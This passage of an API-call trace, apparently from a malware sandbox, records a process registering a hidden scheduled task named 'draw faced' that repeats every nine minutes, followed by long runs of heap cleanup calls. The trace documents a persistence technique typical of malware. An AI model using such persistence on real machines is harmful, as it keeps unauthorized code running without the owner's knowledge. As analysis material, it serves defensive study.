wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2b, wMilliseconds=0xce)) [0119.836] lstrlenW (lpString="") returned 0 [0119.836] GetLocalTime (in: lpSystemTime=0x342227d058 | out: lpSystemTime=0x342227d058*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2b, wMilliseconds=0xce)) [0119.836] lstrlenW (lpString="") returned 0 [0119.836] lstrlenW (lpString="") returned 0 [0119.836] lstrlenW (lpString="") returned 0 [0119.836] lstrlenW (lpString="") returned 0 [0119.836] lstrlenW (lpString="9") returned 1 [0119.836] _wtol (_String="9") returned 9 [0119.836] lstrlenW (lpString="") returned 0 [0119.836] lstrlenW (lpString="") returned 0 [0119.836] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.844] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0120.135] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x342227cdb0 | out: ppv=0x342227cdb0*=0x160529f5720) returned 0x0 [0120.159] TaskScheduler:ITaskService:Connect (This=0x160529f5720, serverName=0x342227cea0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x342227ce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x342227ce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x342227ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0120.188] TaskScheduler:ITaskService:GetFolder (in: This=0x160529f5720, Path=0x0, ppFolder=0x342227cf90 | out: ppFolder=0x342227cf90*=0x160529f58a0) returned 0x0 [0120.192] TaskScheduler:ITaskService:NewTask (in: This=0x160529f5720, flags=0x0, ppDefinition=0x342227cf68 | out: ppDefinition=0x342227cf68*=0x160529f5920) returned 0x0 [0120.192] ITaskDefinition:get_Actions (in: This=0x160529f5920, ppActions=0x342227ceb0 | out: ppActions=0x342227ceb0*=0x160529f59b0) returned 0x0 [0120.193] IActionCollection:Create (in: This=0x160529f59b0, Type=0, ppAction=0x342227cef0 | out: ppAction=0x342227cef0*=0x160529f5dc0) returned 0x0 [0120.193] IUnknown:Release (This=0x160529f5dc0) returned 0x1 [0120.193] IUnknown:Release (This=0x160529f59b0) returned 0x1 [0120.193] ITaskDefinition:get_Triggers (in: This=0x160529f5920, ppTriggers=0x342227ca60 | out: ppTriggers=0x342227ca60*=0x160529f5c70) returned 0x0 [0120.193] ITriggerCollection:Create (in: This=0x160529f5c70, Type=1, ppTrigger=0x342227ca48 | out: ppTrigger=0x342227ca48*=0x160529f5e50) returned 0x0 [0120.193] lstrlenW (lpString="9") returned 1 [0120.193] _vsnwprintf (in: _Buffer=0x342227c9d0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x342227c9c8 | out: _Buffer="PT9M") returned 4 [0120.194] ITrigger:get_Repetition (in: This=0x160529f5e50, ppRepeat=0x342227ca40 | out: ppRepeat=0x342227ca40*=0x160529f5ee0) returned 0x0 [0120.194] IRepetitionPattern:put_Interval (This=0x160529f5ee0, Interval="PT9M") returned 0x0 [0120.194] IUnknown:Release (This=0x160529f5ee0) returned 0x1 [0120.194] _vsnwprintf (in: _Buffer=0x342227c990, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x342227c968 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0120.194] ITrigger:put_StartBoundary (This=0x160529f5e50, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0120.194] lstrlenW (lpString="") returned 0 [0120.194] lstrlenW (lpString="") returned 0 [0120.194] lstrlenW (lpString="") returned 0 [0120.194] lstrlenW (lpString="") returned 0 [0120.194] IUnknown:Release (This=0x160529f5e50) returned 0x1 [0120.194] IUnknown:Release (This=0x160529f5c70) returned 0x1 [0120.194] ITaskDefinition:get_Settings (in: This=0x160529f5920, ppSettings=0x342227cef0 | out: ppSettings=0x342227cef0*=0x160529f5af0) returned 0x0 [0120.195] lstrlenW (lpString="") returned 0 [0120.195] IUnknown:Release (This=0x160529f5af0) returned 0x3 [0120.195] GetLocalTime (in: lpSystemTime=0x342227cda8 | out: lpSystemTime=0x342227cda8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2b, wMilliseconds=0x235)) [0120.195] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0120.195] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x342227cdc0, nSize=0x342227cd98 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x342227cd98) returned 0x1 [0120.196] ITaskDefinition:get_RegistrationInfo (in: This=0x160529f5920, ppRegistrationInfo=0x342227cd90 | out: ppRegistrationInfo=0x342227cd90*=0x160529f5a30) returned 0x0 [0120.196] IRegistrationInfo:put_Author (This=0x160529f5a30, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0120.196] _vsnwprintf (in: _Buffer=0x342227cdc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x342227cd58 | out: _Buffer="2023-09-19T17:15:43") returned 19 [0120.196] IRegistrationInfo:put_Date (This=0x160529f5a30, Date="2023-09-19T17:15:43") returned 0x0 [0120.196] IUnknown:Release (This=0x160529f5a30) returned 0x1 [0120.196] malloc (_Size=0x18) returned 0x160529f5f60 [0120.196] free (_Block=0x160529f5f60) [0120.196] lstrlenW (lpString="") returned 0 [0120.196] malloc (_Size=0x18) returned 0x160529f5f60 [0120.197] ITaskFolder:RegisterTaskDefinition (in: This=0x160529f58a0, Path="draw faced", pDefinition=0x160529f5920, flags=6, UserId=0x342227d000*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x342227cfe0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x342227d020*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x342227cfc0 | out: ppTask=0x342227cfc0*=0x160529f6fd0) returned 0x0 [0120.301] free (_Block=0x160529f5f60) [0120.301] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.301] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0120.301] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0120.301] GetProcessHeap () returned 0x160526b0000 [0120.301] GetProcessHeap () returned 0x160526b0000 [0120.301] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526baaf0) returned 1 [0120.302] GetProcessHeap () returned 0x160526b0000 [0120.302] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526baaf0) returned 0xc [0120.302] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526baaf0) returned 1 [0120.302] GetProcessHeap () returned 0x160526b0000 [0120.302] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x82) returned 0x160526d5a90 [0120.302] _vsnwprintf (in: _Buffer=0x342227d670, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x342227cf08 | out: _Buffer="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n") returned 72 [0120.302] __iob_func () returned 0x7ffa7941e210 [0120.302] _fileno (_File=0x7ffa7941e240) returned -2 [0120.302] _errno () returned 0x160529f0840 [0120.302] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0120.302] RtlRestoreLastWin32Error () returned 0x342209d000 [0120.302] lstrlenW (lpString="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n") returned 72 [0120.302] GetConsoleOutputCP () returned 0x0 [0120.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0120.302] GetConsoleOutputCP () returned 0x0 [0120.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 72 [0120.302] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 72 [0120.303] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0120.303] IUnknown:Release (This=0x160529f6fd0) returned 0x0 [0120.303] TaskScheduler:IUnknown:Release (This=0x160529f5920) returned 0x0 [0120.303] TaskScheduler:IUnknown:Release (This=0x160529f58a0) returned 0x0 [0120.303] TaskScheduler:IUnknown:Release (This=0x160529f5720) returned 0x0 [0120.303] lstrlenW (lpString="") returned 0 [0120.303] lstrlenW (lpString="9") returned 1 [0120.303] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="9", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0120.303] GetProcessHeap () returned 0x160526b0000 [0120.303] GetProcessHeap () returned 0x160526b0000 [0120.303] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bacb0) returned 1 [0120.304] GetProcessHeap () returned 0x160526b0000 [0120.304] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bacb0) returned 0x1fc [0120.304] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bacb0) returned 1 [0120.304] GetProcessHeap () returned 0x160526b0000 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4a60) returned 1 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4a60) returned 0x4 [0120.305] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4a60) returned 1 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526ba9f0) returned 1 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526ba9f0) returned 0x16 [0120.305] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526ba9f0) returned 1 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bac10) returned 1 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bac10) returned 0x18 [0120.305] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bac10) returned 1 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb6b0) returned 1 [0120.305] GetProcessHeap () returned 0x160526b0000 [0120.305] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb6b0) returned 0x20 [0120.306] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb6b0) returned 1 [0120.306] GetProcessHeap () returned 0x160526b0000 [0120.306] GetProcessHeap () returned 0x160526b0000 [0120.306] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b38a0) returned 1 [0120.306] GetProcessHeap () returned 0x160526b0000 [0120.306] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b38a0) returned 0xa0 [0120.306] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b38a0) returned 1 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4820) returned 1 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4820) returned 0x18 [0120.307] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4820) returned 1 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb800) returned 1 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb800) returned 0x20 [0120.307] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb800) returned 1 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] GetProcessHeap () returned 0x160526b0000 [0120.307] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3c00) returned 1 [0120.308] GetProcessHeap () returned 0x160526b0000 [0120.308] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3c00) returned 0x86 [0120.308] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3c00) returned 1 [0120.308] GetProcessHeap () returned 0x160526b0000 [0120.308] GetProcessHeap () returned 0x160526b0000 [0120.308] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526baa10) returned 1 [0120.308] GetProcessHeap () returned 0x160526b0000 [0120.308] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526baa10) returned 0x18 [0120.308] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526baa10) returned 1 [0120.308] GetProcessHeap () returned 0x160526b0000 [0120.308] GetProcessHeap () returned 0x160526b0000 [0120.308] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb6e0) returned 1 [0120.308] GetProcessHeap () returned 0x160526b0000 [0120.308] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb6e0) returned 0x20 [0120.309] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb6e0) returned 1 [0120.309] GetProcessHeap () returned 0x160526b0000 [0120.309] GetProcessHeap () returned 0x160526b0000 [0120.309] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3b70) returned 1 [0120.309] GetProcessHeap () returned 0x160526b0000 [0120.309] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3b70) returned 0x88 [0120.310] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3b70) returned 1 [0120.310] GetProcessHeap () returned 0x160526b0000 [0120.310] GetProcessHeap () returned 0x160526b0000 [0120.310] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bac50) returned 1 [0120.310] GetProcessHeap () returned 0x160526b0000 [0120.310] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bac50) returned 0x18 [0120.310] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bac50) returned 1 [0120.310] GetProcessHeap () returned 0x160526b0000 [0120.310] GetProcessHeap () returned 0x160526b0000 [0120.310] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b8f30) returned 1 [0120.310] GetProcessHeap () returned 0x160526b0000 [0120.310] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b8f30) returned 0x20 [0120.311] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b8f30) returned 1 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bab50) returned 1 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bab50) returned 0xe [0120.311] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bab50) returned 1 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4380) returned 1 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4380) returned 0x18 [0120.311] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4380) returned 1 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b8f00) returned 1 [0120.311] GetProcessHeap () returned 0x160526b0000 [0120.311] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b8f00) returned 0x20 [0120.312] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b8f00) returned 1 [0120.312] GetProcessHeap () returned 0x160526b0000 [0120.312] GetProcessHeap () returned 0x160526b0000 [0120.312] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b9b40) returned 1 [0120.312] GetProcessHeap () returned 0x160526b0000 [0120.312] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b9b40) returned 0x208 [0120.313] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b9b40) returned 1 [0120.313] GetProcessHeap () returned 0x160526b0000 [0120.313] GetProcessHeap () returned 0x160526b0000 [0120.313] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4800) returned 1 [0120.313] GetProcessHeap () returned 0x160526b0000 [0120.313] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4800) returned 0x18 [0120.313] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4800) returned 1 [0120.313] GetProcessHeap () returned 0x160526b0000 [0120.313] GetProcessHeap () returned 0x160526b0000 [0120.313] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b8ea0) returned 1 [0120.313] GetProcessHeap () returned 0x160526b0000 [0120.313] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b8ea0) returned 0x20 [0120.313] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b8ea0) returned 1 [0120.313] GetProcessHeap () returned 0x160526b0000 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bbb70) returned 1 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bbb70) returned 0x200 [0120.314] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bbb70) returned 1 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4840) returned 1 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4840) returned 0x18 [0120.314] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4840) returned 1 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b90b0) returned 1 [0120.314] GetProcessHeap () returned 0x160526b0000 [0120.314] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b90b0) returned 0x20 [0120.315] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b90b0) returned 1 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.315] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3f80) returned 1 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.315] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3f80) returned 0x14 [0120.315] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3f80) returned 1 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.315] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3f60) returned 1 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.315] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3f60) returned 0x18 [0120.315] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3f60) returned 1 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.315] GetProcessHeap () returned 0x160526b0000 [0120.316] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b8f90) returned 1 [0120.316] GetProcessHeap () returned 0x160526b0000 [0120.316] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b8f90) returned 0x20 [0120.316] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b8f90) returned 1 [0120.316] GetProcessHeap () returned 0x160526b0000 [0120.316] GetProcessHeap () returned 0x160526b0000 [0120.316] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4290) returned 1 [0120.316] GetProcessHeap () returned 0x160526b0000 [0120.316] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4290) returned 0x16 [0120.316] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4290) returned 1 [0120.316] GetProcessHeap () returned 0x160526b0000 [0120.316] GetProcessHeap () returned 0x160526b0000 [0120.316] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3f20) returned 1 [0120.317] GetProcessHeap () returned 0x160526b0000 [0120.317] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3f20) returned 0x18 [0120.317] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3f20) returned 1 [0120.317] GetProcessHeap () returned 0x160526b0000 [0120.317] GetProcessHeap () returned 0x160526b0000 [0120.317] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b9200) returned 1 [0120.317] GetProcessHeap () returned 0x160526b0000 [0120.317] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b9200) returned 0x20 [0120.317] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b9200) returned 1 [0120.317] GetProcessHeap () returned 0x160526b0000 [0120.317] GetProcessHeap () returned 0x160526b0000 [0120.317] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4aa0) returned 1 [0120.318] GetProcessHeap () returned 0x160526b0000 [0120.318] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4aa0) returned 0x2 [0120.318] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4aa0) returned 1 [0120.318] GetProcessHeap () returned 0x160526b0000 [0120.318] GetProcessHeap () returned 0x160526b0000 [0120.318] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4410) returned 1 [0120.318] GetProcessHeap () returned 0x160526b0000 [0120.318] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4410) returned 0x20 [0120.318] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4410) returned 1 [0120.318] GetProcessHeap () returned 0x160526b0000 [0120.318] GetProcessHeap () returned 0x160526b0000 [0120.318] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4460) returned 1 [0120.318] GetProcessHeap () returned 0x160526b0000 [0120.318] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4460) returned 0x20 [0120.319] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4460) returned 1 [0120.319] GetProcessHeap () returned 0x160526b0000 [0120.319] GetProcessHeap () returned 0x160526b0000 [0120.319] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4490) returned 1 [0120.319] GetProcessHeap () returned 0x160526b0000 [0120.319] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4490) returned 0x20 [0120.320] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4490) returned 1 [0120.320] GetProcessHeap () returned 0x160526b0000 [0120.320] GetProcessHeap () returned 0x160526b0000 [0120.320] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4000) returned 1 [0120.320] GetProcessHeap () returned 0x160526b0000 [0120.320] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4000) returned 0x20 [0120.320] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4000) returned 1 [0120.320] GetProcessHeap () returned 0x160526b0000 [0120.320] GetProcessHeap () returned 0x160526b0000 [0120.320] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bbb30) returned 1 [0120.320] GetProcessHeap () returned 0x160526b0000 [0120.320] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bbb30) returned 0x20 [0120.321] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bbb30) returned 1 [0120.321] GetProcessHeap () returned 0x160526b0000 [0120.321] GetProcessHeap () returned 0x160526b0000 [0120.321] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526babb0) returned 1 [0120.321] GetProcessHeap () returned 0x160526b0000 [0120.321] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526babb0) returned 0xe [0120.321] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526babb0) returned 1 [0120.321] GetProcessHeap () returned 0x160526b0000 [0120.321] GetProcessHeap () returned 0x160526b0000 [0120.321] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb980) returned 1 [0120.321] GetProcessHeap () returned 0x160526b0000 [0120.321] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb980) returned 0x20 [0120.322] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb980) returned 1 [0120.322] GetProcessHeap () returned 0x160526b0000 [0120.322] GetProcessHeap () returned 0x160526b0000 [0120.322] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3950) returned 1 [0120.322] GetProcessHeap () returned 0x160526b0000 [0120.322] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, 